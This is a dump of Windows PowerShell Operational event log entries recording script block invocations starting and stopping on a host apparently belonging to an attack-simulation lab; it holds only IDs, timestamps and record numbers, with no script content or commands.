10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989750 Keywords=None Message=Completed invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989749 Keywords=None Message=Started invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989748 Keywords=None Message=Completed invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989747 Keywords=None Message=Started invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989746 Keywords=None Message=Completed invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989745 Keywords=None Message=Started invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989744 Keywords=None Message=Completed invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989743 Keywords=None Message=Started invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989742 Keywords=None Message=Completed invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989741 Keywords=None Message=Started invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989740 Keywords=None Message=Completed invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989739 Keywords=None Message=Started invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989738 Keywords=None Message=Completed invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989737 Keywords=None Message=Started invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989736 Keywords=None Message=Completed invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989735 Keywords=None Message=Started invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989734 Keywords=None Message=Completed invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989733 Keywords=None Message=Started invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989732 Keywords=None Message=Completed invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989731 Keywords=None Message=Started invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989730 Keywords=None Message=Completed invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989729 Keywords=None Message=Started invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989728 Keywords=None Message=Completed invocation of ScriptBlock ID: 0f76df8d-335c-4b1e-a59a-6aac868c548d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989727 Keywords=None Message=Started invocation of ScriptBlock ID: 0f76df8d-335c-4b1e-a59a-6aac868c548d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989726 Keywords=None Message=Completed invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989725 Keywords=None Message=Started invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989724 Keywords=None Message=Completed invocation of ScriptBlock ID: 0f76df8d-335c-4b1e-a59a-6aac868c548d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989723 Keywords=None Message=Started invocation of ScriptBlock ID: 0f76df8d-335c-4b1e-a59a-6aac868c548d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989722 Keywords=None Message=Completed invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989721 Keywords=None Message=Started invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989720 Keywords=None Message=Completed invocation of ScriptBlock ID: 0f76df8d-335c-4b1e-a59a-6aac868c548d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989719 Keywords=None Message=Started invocation of ScriptBlock ID: 0f76df8d-335c-4b1e-a59a-6aac868c548d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989718 Keywords=None Message=Completed invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989717 Keywords=None Message=Started invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989716 Keywords=None Message=Completed invocation of ScriptBlock ID: 0f76df8d-335c-4b1e-a59a-6aac868c548d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989715 Keywords=None Message=Started invocation of ScriptBlock ID: 0f76df8d-335c-4b1e-a59a-6aac868c548d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989714 Keywords=None Message=Completed invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989713 Keywords=None Message=Started invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989712 Keywords=None Message=Completed invocation of ScriptBlock ID: 0f76df8d-335c-4b1e-a59a-6aac868c548d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989711 Keywords=None Message=Started invocation of ScriptBlock ID: 0f76df8d-335c-4b1e-a59a-6aac868c548d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989710 Keywords=None Message=Completed invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989709 Keywords=None Message=Started invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989708 Keywords=None Message=Completed invocation of ScriptBlock ID: 0f76df8d-335c-4b1e-a59a-6aac868c548d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989707 Keywords=None Message=Started invocation of ScriptBlock ID: 0f76df8d-335c-4b1e-a59a-6aac868c548d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989706 Keywords=None Message=Completed invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989705 Keywords=None Message=Started invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989704 Keywords=None Message=Completed invocation of ScriptBlock ID: 0f76df8d-335c-4b1e-a59a-6aac868c548d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989703 Keywords=None Message=Started invocation of ScriptBlock ID: 0f76df8d-335c-4b1e-a59a-6aac868c548d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989702 Keywords=None Message=Completed invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989701 Keywords=None Message=Started invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989700 Keywords=None Message=Completed invocation of ScriptBlock ID: 0f76df8d-335c-4b1e-a59a-6aac868c548d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989699 Keywords=None Message=Started invocation of ScriptBlock ID: 0f76df8d-335c-4b1e-a59a-6aac868c548d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989698 Keywords=None Message=Completed invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989697 Keywords=None Message=Started invocation of ScriptBlock ID: 216959a3-9eb5-4140-b311-d9de9fbc978b Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989696 Keywords=None Message=Completed invocation of ScriptBlock ID: 0f76df8d-335c-4b1e-a59a-6aac868c548d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989695 Keywords=None Message=Started invocation of ScriptBlock ID: 0f76df8d-335c-4b1e-a59a-6aac868c548d Runspace ID: 10a276c2-31e8-48da-be16-0b045bd2cc8b 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED 